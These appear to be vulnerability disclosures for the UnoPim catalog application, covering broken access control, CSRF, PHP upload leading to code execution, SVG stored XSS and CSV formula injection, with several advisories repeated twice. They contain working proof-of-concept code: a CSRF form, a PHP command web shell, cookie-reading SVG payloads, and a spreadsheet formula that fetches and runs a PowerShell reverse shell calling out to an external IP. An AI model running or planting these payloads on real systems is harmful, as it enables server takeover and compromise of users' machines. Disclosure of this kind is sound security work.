In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). | Method | Endpoint | Status | Reason | |:------:|:------:|:------:|:------:| | POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used | | GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |

The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:

/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}

Details

CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim. In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.

PoC

1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC  ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.

POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ

csrf-poc.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="sku" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="channel" value="default" />
      <input type="hidden" name="locale" value="en&#95;US" />
      <input type="hidden" name="values&#91;common&#93;&#91;sku&#93;" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;sku&#93;" value="values&#91;common&#93;&#91;sku&#93;" />
      <input type="hidden" name="values&#91;common&#93;&#91;product&#95;number&#93;" value="" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;product&#95;number&#93;" value="values&#91;common&#93;&#91;product&#95;number&#93;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;name&#93;" value="test" />
      <input type="hidden" name="values&#91;common&#93;&#91;url&#95;key&#93;" value="fffkk" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;url&#95;key&#93;" value="values&#91;common&#93;&#91;url&#95;key&#93;" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;short&#95;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;title&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;keywords&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;description&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;price&#93;&#91;USD&#93;" value="7&#46;777" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;cost&#93;&#91;USD&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="false" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.

Remediation:

• Use CSRF token for every state changing request.
• Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing is considered as svg and is sanitized:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

Sanitization bypass using MIME type manipulation:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

PoC

Upload POC.html as image. File content:

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup.

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html:

<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers
const headers = {
    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
    'X-Requested-With': 'XMLHttpRequest',
    'Accept': 'application/json, text/plain, */*',
    'Origin': 'http://localhost:8000',
    'Referer': 'http://localhost:8000/admin/catalog/products',
    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};

// Send the POST request
fetch(url, {
    method: 'POST',
    headers: headers,
    body: formData,
    credentials: 'include' // Include cookies in the request
})
.then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok ' + response.statusText);
    }
    return response.json(); // Assuming the response is JSON
})
.then(data => {
    console.log('Success:', data);
})
.catch(error => {
    console.error('Error:', error);
});
</script>
<html>

// make sure to update the cookies and CSRF tokens in the script to the attacker's.

Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6

Summary

A vulnerability exists in the Create User process, allowing the creation of a new admin account with an option to upload a profile image. An attacker can upload a malicious SVG file containing an embedded script. When the profile image is accessed, the embedded script executes, leading to the potential theft of session cookies.

Details

1. Login as admin
2. Go to Create User
3. Fill up everything in the registration form then upload SVG image as a profile picture
4. In SVG image, add script tag to prepare for XSS attack
5. Complete the Create User process
6. Right click at the image to obtain image URL address
7. XSS triggered

PoC

The below link is a private YouTube video for PoC. https://youtu.be/5j8owD0--1A

Impact

The stored XSS can lead to session hijacking and privilege escalation, effectively bypassing any CSRF protections in place.

UnoPim 0.1.3 and below is vulnerable to Cross Site Scripting (XSS) in the Create User function.

The vulnerability allows attackers to perform XSS in SVG file extension, which can be used to stealing cookies.

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). | Method | Endpoint | Status | Reason | |:------:|:------:|:------:|:------:| | POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used | | GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |

The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:

/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}

Details

CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim. In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.

PoC

1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC  ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.

POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ

csrf-poc.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="sku" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="channel" value="default" />
      <input type="hidden" name="locale" value="en&#95;US" />
      <input type="hidden" name="values&#91;common&#93;&#91;sku&#93;" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;sku&#93;" value="values&#91;common&#93;&#91;sku&#93;" />
      <input type="hidden" name="values&#91;common&#93;&#91;product&#95;number&#93;" value="" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;product&#95;number&#93;" value="values&#91;common&#93;&#91;product&#95;number&#93;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;name&#93;" value="test" />
      <input type="hidden" name="values&#91;common&#93;&#91;url&#95;key&#93;" value="fffkk" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;url&#95;key&#93;" value="values&#91;common&#93;&#91;url&#95;key&#93;" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;short&#95;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;title&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;keywords&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;description&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;price&#93;&#91;USD&#93;" value="7&#46;777" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;cost&#93;&#91;USD&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="false" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.

Remediation:

• Use CSRF token for every state changing request.
• Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing is considered as svg and is sanitized:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

Sanitization bypass using MIME type manipulation:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

PoC

Upload POC.html as image. File content:

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup.

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html:

<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers
const headers = {
    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
    'X-Requested-With': 'XMLHttpRequest',
    'Accept': 'application/json, text/plain, */*',
    'Origin': 'http://localhost:8000',
    'Referer': 'http://localhost:8000/admin/catalog/products',
    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};

// Send the POST request
fetch(url, {
    method: 'POST',
    headers: headers,
    body: formData,
    credentials: 'include' // Include cookies in the request
})
.then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok ' + response.statusText);
    }
    return response.json(); // Assuming the response is JSON
})
.then(data => {
    console.log('Success:', data);
})
.catch(error => {
    console.error('Error:', error);
});
</script>
<html>

// make sure to update the cookies and CSRF tokens in the script to the attacker's.

